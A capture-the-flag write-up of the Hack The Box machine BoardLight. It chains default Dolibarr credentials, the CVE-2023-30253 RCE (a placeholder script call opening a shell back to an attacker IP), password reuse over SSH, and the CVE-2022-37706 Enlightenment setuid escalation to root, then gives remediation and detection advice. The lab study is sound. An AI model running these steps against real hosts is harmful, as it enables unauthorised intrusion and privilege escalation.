BoardLight — Dolibarr RCE and Enlightenment SUID Privilege Escalation

At a glance

Field	Value
Difficulty	Easy
Target environment	Linux (Ubuntu 20.04) with Apache 2.4.41 and OpenSSH 8.2p1
Starting position	Unauthenticated network access
Objective	Escalate from an exposed Dolibarr CRM to root through authenticated RCE, credential reuse, and a vulnerable setuid helper
Outcome	Code execution as the web service user; root via the Enlightenment setuid helper (CVE-2022-37706)

Summary

BoardLight is an Easy-rated Hack The Box Linux machine (Ubuntu 20.04) built around a layered application-and-credential chain. Virtual-host enumeration against an otherwise unremarkable Apache site exposes Dolibarr 17.0.0 behind a default administrative login; an authenticated remote code execution flaw (CVE-2023-30253) yields a web service shell; database credentials read from the application configuration are reused for a local system account over SSH; and a setuid helper shipped with Enlightenment 0.23.1 (CVE-2022-37706) escalates to root. Hostnames, addresses, and credential values are replaced with role-based placeholders; command syntax is preserved.

Attack path: Unauthenticated enumeration → Dolibarr virtual host → default-credential CRM access → CVE-2023-30253 authenticated RCE → configuration-file database credential → password reuse for SSH → CVE-2022-37706 Enlightenment SUID abuse → root

Context and Objective

• Target: Ubuntu 20.04 host running Apache 2.4.41 (80) and OpenSSH 8.2p1 (22).
• Starting position: unauthenticated network access, with no provided credentials.
• Objective: move from external enumeration to user and root control by chaining the exposed application, a reused secret, and a local privilege-escalation flaw.
• Constraints: activity was confined to the Hack The Box lab environment.

Approach and Evidence

1. Service Enumeration

Observation: a full TCP scan exposes an SSH service and an HTTP service.

rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

The site content discloses the domain:

info@<TARGET_VHOST>

Significance: the host presents a standard Linux web server; with no other application service exposed, HTTP is the primary attack surface, and the leaked address supplies the base domain to enumerate against.

Result: SSH and Apache are reachable and the base domain <TARGET_VHOST> is identified.

2. Virtual Host Discovery

Observation: the primary site exposes no useful functionality, but the disclosed domain implies additional virtual hosts.

gobuster vhost --url http://<TARGET_VHOST> --wordlist <WORDLIST> --append-domain

<APPLICATION_VHOST>

Significance: the discovered virtual host serves Dolibarr 17.0.0, expanding the attack surface beyond the default site.

Result: a Dolibarr CRM instance is identified at <APPLICATION_VHOST>.

3. Dolibarr Default Credentials

Observation: the Dolibarr login accepts default administrative credentials.

The source records that <DEFAULT_USER>:<DEFAULT_PASSWORD> granted administrative access to the CRM interface.

Significance: administrative access exposes the application’s website-builder features, which form the basis of the remote code execution in the next stage.

Result: authenticated CRM access is obtained with default credentials.

4. CVE-2023-30253 — Authenticated Remote Code Execution

Observation: Dolibarr 17.0.0 is affected by CVE-2023-30253, in which the built-in website editor permits injection of server-side PHP.

Action, shown as a placeholder pattern:

python3 <EXPLOIT_SCRIPT> http://<APPLICATION_VHOST> <DEFAULT_USER> <DEFAULT_PASSWORD> <ATTACKER_IP> <PORT>

The exploit returns a shell as the web service user:

<WEB_SERVICE_USER>@<TARGET_HOST>:~$

Significance: authenticated remote code execution converts CRM access into code execution in the context of the web server.

Result: a <WEB_SERVICE_USER> shell is obtained on the target.

5. Credential Discovery and SSH Lateral Movement

Observation: the Dolibarr configuration file is readable from the web service shell and stores the database credentials in plaintext.

cat <APPLICATION_CONFIG_PATH>

$dolibarr_main_db_user='<DB_USER>';
$dolibarr_main_db_pass='<DB_PASSWORD>';

Listing local home directories confirms the target system account:

ls /home/

<LOCAL_USER>

The database password is reused for that user, and SSH authentication succeeds:

sshpass -p '<DB_PASSWORD>' ssh <LOCAL_USER>@<TARGET_HOST>

<LOCAL_USER>@<TARGET_HOST>:~$

Significance: a secret stored for the database crosses into a system account, turning a web compromise into a stable interactive login.

Result: a <LOCAL_USER> SSH shell is obtained, and the database password is validated against the local account.

6. CVE-2022-37706 — Enlightenment Privilege Escalation

Observation: setuid enumeration reveals several helper binaries shipped with Enlightenment.

python3 suid3num.py

/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset

The installed version falls within the vulnerable range:

dpkg -l | grep enl

hi  enlightenment  0.23.1-4  amd64  X11 window manager based on EFL

Significance: enlightenment_sys is setuid root, and Enlightenment 0.23.1 is affected by CVE-2022-37706, which allows arbitrary command execution through the vulnerable helper.

Action, shown as a placeholder pattern:

./<EXPLOIT_SCRIPT>

The resulting execution context is root:

# whoami
root

Result: command execution as root is obtained through the Enlightenment setuid helper.

Challenges and Decisions

Challenge	Decision	Rationale
The primary site exposed no exploitable surface	Enumerated virtual hosts against the disclosed domain	The application virtual host was the recorded entry point
No credentials were provided	Used the application’s default administrative login	The Dolibarr instance accepted its shipped defaults

Outcome

The evidence establishes code execution as the web service user and root through the Enlightenment setuid helper (CVE-2022-37706). No remediation was tested in the lab; the recommendations below are proposed measures.

Lessons and Recommendations

1. Default application credentials. The Dolibarr instance accepted its shipped administrative login, exposing the CRM and the website-builder feature used for code execution. Recommendation: change default credentials before deployment, enforce strong authentication, and restrict management interfaces to trusted networks. Detection: alert on successful logins to default or privileged accounts and on first-use default-credential patterns.
2. Plaintext and reused database credentials. The application configuration stored the database password in cleartext, and the same value authenticated the local <LOCAL_USER> account, converting an application compromise into a system login. Recommendation: keep secrets out of readable configuration files (use environment variables or a secrets manager) and eliminate password reuse between service and human accounts. Detection: monitor for successful SSH logins originating from application contexts and for configuration-file reads by web service users.
3. Vulnerable setuid helper. A setuid binary bundled with Enlightenment 0.23.1 (CVE-2022-37706) allowed local privilege escalation to root. Recommendation: patch or upgrade the window manager and audit setuid binaries, removing helpers that are not required. Detection: baseline setuid binaries on disk and monitor for unexpected additions or version changes.

References

• Hack The Box — BoardLight (retired machine)
• NVD — CVE-2023-30253 (Dolibarr authenticated remote code execution, fixed in 17.0.1)
• Swascan — Dolibarr 17.0.0 security advisory (vendor advisory for CVE-2023-30253)
• NVD — CVE-2022-37706 (Enlightenment privilege escalation, fixed before 0.25.4)
• Debian — DSA-5233-1 e17 (CVE-2022-37706) (distro advisory, fixed version 0.25.4-1)
• Enlightenment — fix commit for CVE-2022-37706 (fix commit)
• RustScan (port scanning)
• Gobuster (virtual-host discovery)
• sshpass (non-interactive SSH password authentication)